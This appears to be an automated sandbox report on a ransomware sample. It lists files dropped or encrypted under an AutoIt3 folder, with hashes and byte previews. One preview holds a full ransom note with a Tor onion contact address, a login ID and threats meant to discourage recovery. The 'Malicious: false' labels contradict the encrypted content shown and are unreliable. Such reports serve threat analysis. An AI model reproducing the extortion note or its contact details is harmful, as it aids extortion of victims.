Entropy (8bit):	7.997536823188181
Encrypted:	true
SSDEEP:	6144:vcS4ruoRQn+alWn66CEW0UsguSUWP9iniNaQbF9mFhNBRFf90R5IvdnOc91FUdxh:X48+6u6MW0fUinIq5f90R5I11FO9V8/E
MD5:	A7D0064DEEBFCD1F2DD4FF5740D0E886
SHA1:	E70624F0FB45CD22E23268EACF4196D9C907521E
SHA-256:	2AB0D15AAABAE8C522E4A752E5D3ACD7192A98F0BDD621FD348C75058D2635AF
SHA-512:	B33D9B50D5F4B60563F824C14A0F747D20FA7B42BD561CABF5A81A73F1AA125963C4FADACC018F887E15CE9B6300267676B0B50CC8A5C601776EC12EA924E728
Malicious:	false
Preview:	.S..x.....x..........2....a.U..9p.L....q.wh.{p..].W.7=...2C.........!..L.!This program cannot be run in DOS mode....$.......PE..L......................8.........................@.............z.....xd&..4.....r....a.U...p.L....q.gh.{p..M.W.7=..y2C........................................................................................................................UPX0........{......xd$..4.....r...ba...aA.L..u.q.g}.{...].W.7=..y2C.....@....rsrc...............................@...3.91.UPX!..........5.............&.......X.b...x{...S..H.....b..>....:cJ....Vf.....LbE.#."......n......A\a.....^...W...N....dJ.o.1................:s.@.o.n..B%.4.c6.6{...G............N..G........M....,R.\|.....Mb{....3w.\|S.+h.g.GS0x.nq<!k_..4.N......h...y..f..4U.....D.x.5b..$..D..8c.....M...q....0t.....A.....H.]......1.03.,>I.>'.Rx.....Z'...G..wIk}/{...3.....qvR..[.k.ob.0..z.t.%...nj.......9@..a...X..P/..v.V....jE..H\|.E..........oz.@.^c....c^.@...A......../....

C:\Program Files (x86)\AutoIt3\AutoIt v3 Website.url

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	518
Entropy (8bit):	6.831514961676691
Encrypted:	false
SSDEEP:	6:IXVx1yJ8eNS1t4xRiHx7Ut1F1aIRWECDBwzWXHG25xfW1N2Kjg5tTqDQR:IXT1EC1t4jjLhRMDBwCXHG2XZRTqDS
MD5:	860EE9C017E093E8242D1F8332B4FA2F
SHA1:	9BD29077BAE44166D93C49630119D4A92111B209
SHA-256:	9407355459ECE991A97605206A12F176F464268DC71D79BD4AA41CC1F6C96380
SHA-512:	351C82E9FA810504AC8DFECA369CF310E052E16C43BF8FB8AFA6684DB8E354FF19B7F3A8234D24BD05502AAB4A0B33FE08FBC077051964E8E304250A4FDEAE3C
Malicious:	false
Preview:	z.p.:.^g..J7.W.M..t......OX......sRF.{...:]{..C30....j~.R.-Hw..L,....._l:.N=SK.L.wV......NX.C#..m.SEl.../_...Xs}....C....R\|..^.....(Yq../R&L.s.4D..............4L.["...y.J...0c.W..3:.M.l.e..iProp3=19,2.....%4+..%.?..:5#[6...g.-.7p.p...i..!..}.CdnFI..(.y.[Fkf.r.K.....a.Y.C#.........I.P`V../.Z".d.WK..?s.?}'..2<9..*.O.~X..,.XD++.-.cN>.b)H.D#Q~.M.8.."........2...?i1....GP..^y.4.....8tUz7.9h..D.}.R.n..P.E...............................................................................................29yp10v5m8k.

C:\Program Files (x86)\AutoIt3\AutoIt.chm

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7185955
Entropy (8bit):	7.9953678575997875
Encrypted:	true
SSDEEP:	196608:KJxezO7IdHa90O+ORe5K30JVUctRRKIW0hLJe:qxDoAYORXkJVU4kchLJe
MD5:	AA2A052A6DFD81205286D84E0FDCBF33
SHA1:	EBCEFEF952965433F45986798AE2357B318EDE70
SHA-256:	FDAB86E05BD89E2E15F1EAF727552CE7F547641D18B00B540A3848A3846DCC25
SHA-512:	97D528753605F8911404EEEDF29810C7656A7A503BD01EE149D93AE0A25154CE386B2A0C347B68454710A3239109EB01273E535BC19391FB63AAF640287C4452
Malicious:	false
Preview:	cI3N.0s...y..C..?.(I..q...p...Z..R>A..o..sX$.G..........b..........x.......T`.......`...............m.............ITSP....T...................5.......4.......6.......j..].!......."..T........c.D.L..I.h..J@..q<.5..9KD2R......*l..m..7..H.o.8..6...../#IVB....q../#STRINGS........./#SYSTEM....E./#TOPICS....$..../#URLSTR....0..d./#URLTBL....$..../#WINDOWS....%.L./$FIftiMain.......z.G.;...].>.P.):.d.0.[..J$&t3...%.W..lVX..>..3.......Links/Property....e../$WWKeywordLinks/..../$WWKeywordLinks/BTree....}..L./$WWKeywordLinks/Data....I..b./$WWKeywordLinks/Map....+..y'3g$......'B.Qc.e....f.u.u...=@....?A....3=..#..j..R)@..utoIt3 TOC.hhc.....z./html/..../html/appendix/..../html/appendix/AppendixRef.htm....W.../html/appendix/ascii.htm.......!"/html/Km.myT..L.....z.Pf.>!....\|.a.l....K.....d.T...2,...$.)._..cP:(>.9./html/appendix/ExitCodes.htm....P.M./html/appendix/fonts.htm....m././html/appendix/GuiStyles.htm....w..9!/html/appendix/Limi^n$mqQ....W....n........y.#.I.+y;...

C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	124818
Entropy (8bit):	6.82602884119979
Encrypted:	false
SSDEEP:	3072:QvtDfC/+C+wmgd/9fvC7wvEsPQ/vI6c9DXHtq:QvtU+CBLIHaXNq
MD5:	A46B4EF460415E316F36EF2E9025BF89
SHA1:	24F2AE5FB5F2940D1DBF54D2CE3A690435D7FB22
SHA-256:	8708FAFAD33C5D7B8826B6AC658DC2F6673977E1090ABFFB305E373D91EB21F4
SHA-512:	69DA61D22D90CCFF2D70D8D80D4EBD325E6B14079FAFEFC74FA46E8E2D7937385FAB1E9F9E153331E8DB92312029D7E72875DF0AC705C4370EBD44DFD50B4329
Malicious:	false
Preview:	..~a....(..cP.^U.^y&-.@..........<~...j...tC..>: ...\.aUS.........!..L.!This program cannot be run in DOS mode....$.........[m..5>..5>..5>OC.>..5>OC.>..5>OC.>..5>..0?..5>..1?..5>..6?..5>s.H_- .......p/`...G...~.=.6t..rW<i.K#.M.=..J........5..f.........................PE..L.....(c..........................................@.......................................@..........M.a..,.....^.^y&-.@!.........[.~...j...tCi.>b......][S.....8...............................@...............t............................text.............................. ..`.rdata.....a./..,...o.^.^y&-.@..........v.<~.o.j...tC..>:....\.yTS.....@....rsrc.......P.......*..............@..@.reloc..$...........................@..B.........................................M.a....,.....^.^y&-.@...........<~...j...tC..>: ...\.yTS..................................................................................................................................M.a....,.....^.^y&-.@...........<~.

C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1072018
Entropy (8bit):	7.16731115588258
Encrypted:	false
SSDEEP:	24576:N2aCSpBln27nS+83Nl9NrnL5JK+TW3vAXFIbboIy5294j:kaCY27nS+uNl9NrjTyvAXObb1PKj
MD5:	07445CB2CDE1D3F30A586069D2F4822E
SHA1:	ACA2E52AFA94FD2B1B9F38C22BDA9F5B7CD01E68
SHA-256:	3EEDDBB256E54BDF70A4E9005A92E070CEFFB84C3C418DBDFE3961DA119D35A1
SHA-512:	1931559EC7554D9E817AEABE94905D435E287A06EED50825AA8BC1F4BD2E9C70E696821531B3C7F7C157709EB836C945A56CBA5A94C0191443339F349743602B
Malicious:	false
Preview:	J8......\|F)Z...'...>.{v]...<.m..........rz.....3{9D:e..L..g........!..L.!This program cannot be run in DOS mode....$.......}0tp9Q.#9Q.#9Q.#...#,Q.#...#.Q.#...#.Q.#...#8Q.#k9.".Q.#k9."(Q.#l[.=....Ho.yr...v.b..l~......w>.Z..J...,..+e(8....#g.]..T..D9Q.#;Q.#.8."8Q.#Rich9Q.#........PE..d...3.(c.........."......H..........Z.........@.....................................q....`..bK.....xV)ZCR.'F..>.{v]..<.m..........rz..,..3Vz9D:.p.<!.g.P...o...4..X&......\|... .......................p...(...@................`..8............................text...<G.......H.......b......xF)ZcR.Gh.._..v]...<..f..O..U....rz.....3j{9........g ........P..................@....pdata...o...P...p..................@..@.rsrc...P............P..............@..@.reloc..\|........n......xF)ZCR.'F..>.{v...<.m..........rz.....3*{9D:e..l..g.................................................................................................................................b......xF)ZCR.'F..>.{v]..<.m........

C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX.chm

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	200700
Entropy (8bit):	7.931812547421521
Encrypted:	false
SSDEEP:	6144:VVXfxgddcNuzjWxGU3vu3jxuOEVy18sY1m4rXBcJw:DZgjhzjWb3vuTx7EVm8sYsMXBcW
MD5:	0D0CB5D998F7DCDEAC2CA63FF421595F
SHA1:	D45E8B36938F8A41EE54F7731496C7E2B53EB9B4
SHA-256:	27C04A64359ABF11DB4C048A303C23D42EC2FF69441C00DF79969A7D13399EB1
SHA-512:	32D4DBEDBED70DF01DF6676FD310187766FB90F6FA36EC59570E0B7EE6BA6704A8760CBC9B4831B045EE262686B7ACF549B3D82CDD1E0B0459E53544E621B7F2
Malicious:	false
Preview:	.T.q.ZC.[)) y......*rz...ao..1:R../.S.......e....5Wpn.f............x.......T0.......0..............................ITSP....T...........................................j..].!......."..T...E.c...g...q4.....#zz.m...1..+....kyvp.....L.Br....c3........./#STRINGS...4.-./#SYSTEM..N.6./#TOPICS...x.0./#URLSTR...L.h./#URLTBL...(.$./#WINDOWS...u.L./$FIftiMain......c./$OBJINST...z.../.W..e5 .:]@W......#zz..P7Dq..D..v...<..)..N...G..M.a.......eywordLinks/..../$WWKeywordLinks/BTree...A.L./$WWKeywordLinks/Data.....'./$WWKeywordLinks/Map...4"./$WWKeywordLinks/Property...V.....b5....`O......".....D...._..c.K%.../....;...N.$d.....tml/appendix/..../html/appendix/AppendixRef.htm...R.j./html/appendix/ascii.htm...<..L./html/appendix/SendKeys.htm.....S./html/co._...s(%.8L.!y.....OU...+.}D..M..r...4..4...0....T..%.......m_interface/methods.htm...M.[./html/com_interface/methods/...//html/com_interface/methods/AutoItSetOption.htm...$..'/html/com_in.e..u?l.>]AN.......d........E..8...5\|

C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX.psd1

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	33768
Entropy (8bit):	5.738105922259377
Encrypted:	false
SSDEEP:	768:68pZ7c7rHILBONzztuds0fm34YywtkP1c:6887rHQONzZuds0f3jwtsc
MD5:	AFB4F81143CEB66B6B25C0FF0D891397
SHA1:	B934F978F1DA1CC6D1D10DB96550AA0CA9A438A5
SHA-256:	5DAE4337A4E067A4F829614F3855170CBF66DA4D2DD19391C26457E63E73B42A
SHA-512:	46F6A2DFB9EFAF003DA4FFA3FFE2174F7F0FFC7953D3A4A7C1C33AB7914C15A46EFC24D4FB7928E5611BB03B916922C0F9661B16BA44ADF18C6F2DE97ED9793A
Malicious:	false
Preview:	N.s!1.....7.M.,6.=.]........I8S....u.&.......'.m...s.8?.{... .'.A.u.t.o.I.t.X.3...P.o.w.e.r.S.h.e.l.l...d.l.l.'.....#.....#. .G.e.n.e.r.a.t.e.d. .b.y.:. .J.o.n.a.t.h.a.n. .B.e.n.n.e.t.t......s!1.....7.M.,<.-.C...D...I>S...&.c.....K.f.b....s.8r...s.#.........@.{.........#. .S.c.r.i.p.t. .m.o.d.u.l.e. .o.r. .b.i.n.a.r.y. .m.o.d.u.l.e. .f.i.l.e. .a.s.s.o.c.i.a.t.e.d. .w.i.t.h....sD1....7&M.,<.!.W...C.....I[S....b.'...../.:.....s.8/.d... .=. .'.A.u.t.o.I.t.X.3...P.o.w.e.r.S.h.e.l.l...d.l.l.'.........#. .V.e.r.s.i.o.n. .n.u.m.b.e.r. .o.f. .t.h.i.s. .m.o.d.u.l.e......sa1...^7'M.,..-.C...Y...IlS...5.\|.....K.{.}....s.8G...Z. .I.D. .u.s.e.d. .t.o. .u.n.i.q.u.e.l.y. .i.d.e.n.t.i.f.y. .t.h.i.s. .m.o.d.u.l.e.....G.U.I.D. .=. .'.9.1.e.2.4.4.f.b.-.b.6.6.6....s.1.....7rM.,`.y...T......IbS...4.4.....\.X.G....s.8j.V...t.h.o.r. .o.f. .t.h.i.s. .m.o.d.u.l.e.....A.u.t.h.o.r. .=. .'.J.o.n.a.t.h.a.n. .B.e.n.n.e.t.t.'.........#. .C.o.m.p.a.n.y. .o.r....sI1...D79M.,=.......X.....I<S....s.

C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.Assembly.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	44442
Entropy (8bit):	6.999548543982086
Encrypted:	false
SSDEEP:	768:COvmC1OVJh/i/RDoLa808h+w48NUtDOLW7LOL2giMUhtttktpBgWrMfj7m/2XULO:2uLtZbbJtnknMhOCp
MD5:	361F4C5A0D5CF75F26B846FE0905B2C7
SHA1:	7029A5CD71D59702CEFCE896CA54397B21C77FE2
SHA-256:	C6F330A3321974EDFB5E8D4632BCD43B5647D91BD1DDEEBA50F3579FC702AB96
SHA-512:	20979CDE593C4C6761487AD77B2820DE89C0B92090B4F96B1668E4CA67C2105099C08AF0D9EEE50C2E5DD004B16A298D81D9F66EA4CD4B7725BC1E961984E90E
Malicious:	false
Preview:	....!wL.....[.j....i...I..v.1m.....d.oM.,.r.....s[...T'......e........!..L.!This program cannot be run in DOS mode....$.......PE..L..._.(c.........." ..0..\|..........v.... ........... .........."wL.....oj.=I.i....#.v.1-w....t.oM.<.r.....s[...T'...f..e$...O.......(...............`&.......................................................... ............... ..H............text......."WL....mj.=..i......v.1m.7...d.oe.,.r.....s[.c.T'...f..e....@..@.reloc..............................@..B................X.......H........2...e..................l..........................."wL.....oj.s..h...!..v..E......L.nM...Z.....[X...~y9..f..m..(......(.....0../........s.....(Z...,...o....(....+...o....(.....o....V(Z...,..(.....(.....(Z...,...........(...............)wL.....ol43..m/......v.7G.....j.G@.,.X.....t[...T&...h.j....(Z...,.........o....(....+.........o....(.....o.....0..8.........s.....(Z...,.......o....(....+.......o....(.....o....*.0......#wL.....o`...i,......x.?h.....n.{

C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.Assembly.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	49832
Entropy (8bit):	6.218525413432159
Encrypted:	false
SSDEEP:	768:PRsvX0B/GSeB8N1uN543Wt0oJ5b8enn7xtJUWPJ5v:PRsvX0NeBUuN54i0o7Hn1HHPJ5v
MD5:	4CCD991194EA972A298D37F814100C88
SHA1:	C3262CF5D1E2EEDB980B9B3CCB925B7415515215
SHA-256:	C968201084668DAE0E3C0DD09D3DCA5E929F99580752E4ECB289BD4D648030E3
SHA-512:	9C34A69A4FED79F89CDDB2209438DE5C1DE43B3BF50C2D79F03D46EDA7FC755DD5938EB2DD6E020343D8613ED7B7209DD9628F64DBEEE1880487A16B6FB30392
Malicious:	false
Preview:	.[MS.':.D..L+n@dP...'.2.A..t...K.TS."g\...\......_.?....Gr..vItX3.Assembly</name>.. </assembly>.. <members>.. <member name="T:AutoIt.AutoItX_DLLImport">.. <summary>..D...'l..^..e..0^...v.L..-........@.2nP......U.....k.....G..mX3.dll... </summary>.. </member>.. <member name="T:AutoIt.AutoItX">.. <summary>.. .0][.F9.Y7.{e...^...i.]....+.....HF.4"_.......T.....,...t9..9 </summary>.. </member>.. <member name="F:AutoIt.AutoItX.INTDEFAULT">.. <summary>.. ..S_.k8.@..V s.:...v.]....>.......F.#q.R......U....k.....^..k)... </summary>.. </member>.. <member name="F:AutoIt.AutoItX.SW_HIDE">.. <summary>.. .D....l..^..esBu^..j.U.D..t...K.H..q>........,..._.?.....^..k name="F:AutoIt.AutoItX.SW_SHOWNORMAL">.. <summary>.. .. </summary>.. </member>.. .XX[.e)....N n@.D...v.L.d..%....8.7\|..Op

C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	53658
Entropy (8bit):	6.918875886671008
Encrypted:	false
SSDEEP:	1536:db86AJJ7fXy98ltTLDqUs3IQ7C9atHzo/X:Z86W7fiA3DqfXgatHzo/X
MD5:	2E224E7915E48DB3EF96C73B36199FAD
SHA1:	79B795A7595952C1AF38E780E8B60D2D1807C3A0
SHA-256:	99BABB879B08090209F9A0F5F40183173B78F3534E5AFF279858D996B53A2107
SHA-512:	C54EB18CABAE31622A6833B20048672B99141CB8128C2B959BA6EF3A80CFDCF927FF50BDE9A5993FEAC0EB95731D242E07B3FCF1838BD2D21298DE6B923E04E1
Malicious:	false
Preview:	..A..Q...M..o.X....GY.+.......I..1.s....!.vywe.0....R...W..>.........!..L.!This program cannot be run in DOS mode....$.......PE..L...c.(c.........." ..0.............R.... ........... ...........Q...M..AX.....G[.+.N.......!.s....!.vyge.0....R...W..>.....O.......8...............`&.......................................................... ............... ..H............text....5...q......CX.....GY.+O......)Q.Br.....%.vy.e.0....R...W..>.....@..@.reloc..............................@..B................4.......H........J...q..................H............................Q...M..AX.....GY..m......MU.3{q......u.ue.4...R...U..:.....f.~....}......}.....(......{...."..}......{...."..}......{...."..}.......{.....{.....{....(..........(....:..}.........{..K..kz.....G].5M......k}.L.s....#.~ywa........V...,..>."..}......{...."..}......{...."..}.......{.....{.....{.....{.....{.....{....(..........(....f.r...p}......}.....(....*J.(....I...Z..AR.....GY..Q......c].2}....

C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	726954
Entropy (8bit):	7.300910147758559
Encrypted:	false
SSDEEP:	12288:za6cb3Krn5BMX8SjhZImV8E5Tv39p5X/IkKpzC4mDXCNJT995jC:zIMn5KX8SDbmcMo9DmJTxjC
MD5:	8D6A520595095EA723BA6D031C8DB4DC
SHA1:	9654F1CFA4926C4B5FD5181E0742BC3D197893AC
SHA-256:	AC4348AC2AFA1229C3E32164397EE465DA099C74CAAE448AE77AE7E3A6DFC0E7
SHA-512:	F1496158DC8F010F0363A898562A543BFF9AF4886FDD55531B3E8E76DBCF479D4BC26D16B2BFC68BAF233D691234115847A03DB86DCE37887C3ABEF514EC6203
Malicious:	false
Preview:	5..w...9wN`...6r.).H..Kv..pDC.d.....%0..}....8.5-.N..-))..........!..L.!This program cannot be run in DOS mode....$........<.q.]o".]o".]o"...".]o"..."-]o"...".]o"5..".]o".5k#.]o".5l#.]o"..@..C..U..U.......!..'.-..8.,+a.P..~...>..^=.....i...!.kp......4m#.]o"Rich.]o"................PE..L...P.(c.........."!.....~...........s.......................................0......Rh......x.j.t...9:w....6r.9.H..z\|..}DC.[.....%0..}...8.5-.N...#)P.......J......p...........................@...@............................................text...8z.......\|.................. ..`V.X.....9w....4r.)xO..Kv..pDC.d.....E......I..5-uI...+) c..............@..@.data....)...`.......@..............@....rsrc...pL.......N...V..............@..@.reloc...J.......L..............x..4....9w....6r.).H..Kv..pDC.d.....%0..}....8.5-.N..-)) .................................................................................................................................x..t...9w....6r.).H..Kv..pDC.d.....%

C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3_DLL.h

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	13307
Entropy (8bit):	6.90784582638387
Encrypted:	false
SSDEEP:	192:0OdLgp8XjuVZS78z089nWPY1gjRI0a08BL2ZNdq4Ted7r15hVQP1glS:0OdA8XaVZS6ZnWP4Qm0apgq4Ti7rtGNn
MD5:	BD8946778961877A4C95197420ED892C
SHA1:	D1607D919836FF24C5DAE231E71BDA51D5B2DF90
SHA-256:	CABA1D75934FE50BC5895B4E3A0772A4E49ADAFF9BEAC05542544BAA729065DA
SHA-512:	94A8F66145F084860E834B41592F7AD52F3E6B9E86E5520B53846B392CF9FEA899E0F50201C13379AD5E440D525BC4F058480C56E1FE6E7BAC552798163D48D9
Malicious:	false
Preview:	....n.nV. .....Z.m.B.J...E.1.AI......g..P.".......d.[...-H..///////////////////////////////..//..// AutoItX v3..//..// Copyright (C)1999-2013:..//..- Jonathan Bennett <jon at autoitscript ..j.bH.D\...p.'.M.$..J8~0.....D....'....o.P......d.y...V.U. file is part of AutoItX. Use of this file and the AutoItX DLL is subject..// to the terms of the AutoItX license details of wh..j.aV.+S....4.+.M.....`.]x.....(...g..(.h.......?.....Cm.H.3.dll as a standard DLL this file contains the definitions,..// and function declarations required to use the DLL and AutoItX3_D....`./.."......H.B.J...E.1.AI......g..P.".......d.[...-H../////////////////////////////////......#ifdef __cplusplus...#define AU3_API extern "C"..#else...#define AU3_API..#endif......// ...g.{.. .....5.+...$...L$yZ.('.v...e..K.9.......d.V...Vw.H. value for _some_ int parameters (largest negative number)....//..// nBufSize..// When used for specifying the size of a resulti....}.f..n.....".6...E.q.H>.....P.....

C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3_DLL.lib

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	29290
Entropy (8bit):	6.615341029645132
Encrypted:	false
SSDEEP:	384:7ULgnLVq1snaQncnLQeh+z2RdOuuLgniacjnQMYRPOIe5Tds8G/Ejq3gnknG/nE6:7Uuw9Tas8+Or3UivpfhH0mVOhe4aDT
MD5:	1C263E3130B2BD0CB00E1818A3FAF50B
SHA1:	1EEB83CAB20AE61E2D1CBA18938C9DF85C0484C0
SHA-256:	85978ECA22311F3380462BEA4DEBB802FF266D54ED61BCCA78E4A29E37CE93CB
SHA-512:	5C3A8EBBD4D2910A31BE356548EEC1549827F51E4202564270551919B98702543543E500062EEF7DF220649FCBD08EE67B4F0080BA3310F102338EC8C1BED3D7
Malicious:	false
Preview:	..6.....'..........Ad..w..?>..?3.d..D../9.$...*H2z{..M0.. `.......7f..9...:...p...p...M...M...< ..< ..<...<...=...=...=l..=l..=...=...>X..>X..>...>...F...F...G8..G8..?H..?H..?...?...@8..\|.t.n...Z....... .)/._.9]...].5D.:d..i..........+nMKa.m.j;..C...Dl..Dl..D...D...E\..E\..E...E...FJ..FJ..G...G...H(..H(..H...H...I...I...I...I...J...J...J~..J~..J...J...Kh..Kh..K...K...L\....t.....8......./^)/..9Q...Q.5D.Dd......n......'.MKmdm.y...PL..P...P...Q,..Q,..Q...Q...R...R...Rp..Rp..R...R...ST..ST..S...S...T8..T8..T...T...U"..U"..U...U...V...V...Vr..Vr..V...V...WN....t.~...J........9.)/.S.9G.G.5D..d.........a..2rMKx.m.s...Z...[H..[H..[...[...\,..\,..\...\...]...]...]~..]~..]...]...^h..^h..^...^..._\.._\.._..._...`P..`P..`...`...a:..a:..a...a...b ..d.t.P...d........8)/4..9\|.\|.5D..d.........O...\MKG.m.L...e...f4..f4..f...f...g ..g ..g...g...h...h...h...h...h...h...ip..ip..i...i...jZ..jZ..j...j...kD..kD..k...k...l...l...l...l...m...\.t...........b....)/:=.9q...q.5D..

C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3_x64.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	921002
Entropy (8bit):	7.140741961714855
Encrypted:	false
SSDEEP:	24576:P2am6Evicxih2p6eTpBEfM1O2vCGAgGr6c5aTZ/:P7uJxih2p6QOMCGAfWc5at/
MD5:	D59136E0098CCA500D98C5AF4819A758
SHA1:	9E5C3C4DBD030121C4E6960ADE5B29C36921E5A5
SHA-256:	F3F647B03F02C2E4561D25E87D36E6F4F9112A785F87144039CD9CD56695CAE2
SHA-512:	B3E884DDC5A630D997A501735E69B348E47F300D32B3C8E92BCAEE9CFAE28D3BB24BBF7DE162E96B28182A6F88DD202390BB4C24228D14F8755458FD410C0D9C
Malicious:	false
Preview:	Q.......ehL.t.....)..Nj...J.....P.0.z.`...1E.....[v.~#....p.f.........!..L.!This program cannot be run in DOS mode....$........>a.._..._..._..$...._..$...._..$...._......._...7..._...7..._...v.cM.. .O.S.$.^ ..U.A.$[.....v.f..A%.8...........!,.=WWX.WiS56..._..Rich._..........PE..d...Z.(c.........." .....X...........c.......................................P............ ...@......Q......ah\..{....)..Nj...J....W..0.w.`.d.1i.....Vv\|2#..h..{f.....p&...0.......:..p...................0<..(...0;..................P............................text....T.......V...............A.....O.>..{....).Gj...J..P.0.z.`...1e....?.x.#....h.o......\..............@..@.data....8... ......................@....pdata...s...`...t..................@..@.rsrc...pL.......N.......A......ahL..{..pE..Nj...J.....B.0...`...1E.....[vL~#....h.f..................................................................................................................................A......ahL..{....)..Nj...J.....P.0.z.`

C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3_x64_DLL.lib

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	27860
Entropy (8bit):	6.4417053145525225
Encrypted:	false
SSDEEP:	384:uqfp/XrYBD0cbAdzSojYyg0t/tkfdgMVsgVp65m3A3kRe:uqpbYVArYyPgP640
MD5:	993BE02DDC8190A1D650A20589E32288
SHA1:	844730DFA2597FD772292FDF18C947EC58EF8C94
SHA-256:	BF2495B7CAE526787F885D32E011A9576E43F505ACC2999BF3F4AE58D6567247
SHA-512:	ED76158FC651E249B52D54ABFB9CF7644A94539F8E55117D3CBB5D6BEDA645B8B762911FEEA817A1F7239D4E53B395E70B32DE30DF94B53902F26906B55CDDB1
Malicious:	false
Preview:	...j.......sz.>EX..."\|v.8.]T..9.4^..b.g.Ajl.......@Q......[Om `.......1`..3...4...k...k...G...G...6>..6>..6...6...7"..7"..7...7...8...8...8\|..8\|..8...8...@...@...A`..A`..9l..9l..9...9...:\.......p...>SZ...^46...QG...}H.8..,~...%G..JL..$....`L-....,{QS..>...>...>...?...?...?...?...?...?...@p..@p..A...A...BP..BP..B...B...C<..C<..C...C...D..D..D...D...E...E...E...E...F...F...F.......X....SZ...".6..DQG.^.}<M8..~.cf%G.EJL.R$.~..`;...h4,{%1..J\|..J...J...K^..K^..K...K...L<..L<..L...L...M...M...M...M...N...N...Nr..Nr..N...N...O^..O^..O...O...PF..PF..P...P...Q...Q...Q.......Z..h.SZ...7.6...QG..}'.8..~.y.%G..JL..$.c..`%/..v.,{:_..U...U...U...U...U...Vt..Vt..V...V...WX..WX..W...W...X@..X@..X...X...Y..Y..Y...Y...Z...Z...Z...Z...[...[...[...[...[...[...\n......B..e.SZ...8&6...QG..}.8..^~.t.%G..JL..$.h..`.+..}.,{.S..`...`...`...a...a...az..az..a...a...bn..bn..b...b...cT..cT..c...c...d<..d<..d...d...e(..e(..e...e...f...f...f...f...g...g...gz......x..Q6SZ.f....6..^QG.D.}..8..Z~.C.

C:\Program Files (x86)\AutoIt3\AutoItX\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\AutoIt3\Examples\_ReadMe_.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	521
Entropy (8bit):	6.829954439787817
Encrypted:	false
SSDEEP:	6:7BL4cwbTScxa2JQHzuuCbFyP5HthUtCO/aNCkmgXeN4Tv/oU2ERC3rcOkVp3XFQ7:7fSeuauQHzQbcxMYnJmq/oqRC3xJYS
MD5:	C9E3FCEC0EDA848931F70A97AF8FDB32
SHA1:	D63002D4B0485C173A32CE420E10C36FB21B8C90
SHA-256:	9AC14167DD9EF18149CC9441707A29DE08D63E4AD501E6614348AE32A4347E0A
SHA-512:	14B98638A044EE30666DCB974FFCA48CF875701F4A3EB07F01640AC407307D582B59C53019A4D73427EE23AD10B7E7626690C21A22D340446414B6A6E04191C1
Malicious:	false
Preview:	q..n....=...U.z.......d...<!S..##_..B..\|...5......4RV{.xUgh.Z..g.>..=....D.l......o...!i..."pR........8..R...>.@x.v.'..W..+.Z.^....H.z......b...=o..."#N...V..f...4......).Vg.e.vt..ns.....- Jon..........C5.?&..j..~t.\|_.KN.x.......#..E..V.)_W.....L....1R.].._..7..7....0.s..B..&.(JW.L.........gx.......#m..4..43.-........9k...Lv.Z...2r.o....}.,...\|.L/LB.. .lV;!`W...../...mCS.5.......c:...r../.................................................................................................29yp10v5m8k.

C:\Program Files (x86)\AutoIt3\Examples\calculator.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2181
Entropy (8bit):	7.710271218724695
Encrypted:	false
